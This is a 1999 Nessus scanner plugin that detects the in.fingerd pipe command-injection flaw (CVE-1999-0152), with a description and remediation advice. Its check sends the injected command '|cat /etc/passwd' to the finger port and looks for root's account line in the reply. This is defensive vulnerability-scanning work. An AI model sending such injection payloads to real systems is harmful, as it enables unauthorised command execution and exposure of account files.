home *** CD-ROM | disk | FTP | other *** search
- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
- #T
-
- if(description)
- {
- script_id(10126);
- script_version ("$Revision: 1.13 $");
- script_cve_id("CVE-1999-0152");
- name["english"] = "in.fingerd pipe";
-
-
- script_name(english:name["english"]);
- desc["english"] = "
- It is possible to force the remote finger daemon to execute arbitrary
- commands by issuing requests like :
-
- finger |command_to_execute@target
-
- An attacker may use this bug to gain a shell on this host.
-
- Solution : Disable your finger daemon if you do not use it
- (comment out the 'finger' line in /etc/inetd.conf and restart the
- inetd process) or apply the latest patches from your vendor.
-
- Risk factor : High";
-
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Determines whether in.fingerd is exploitable";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Finger abuses";
- script_family(english:family["english"]);
- script_dependencie("find_service.nes");
- script_require_ports("Services/finger", 79);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = get_kb_item("Services/finger");
- if(!port)port = 79;
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- d = string("|cat /etc/passwd\r\n");
- send(socket:soc, data:d);
- r = recv(socket:soc, length:65535);
- if(egrep(pattern:"root:.*:0:[01]:", string:r))security_hole(port);
- close(soc);
- }
- }
-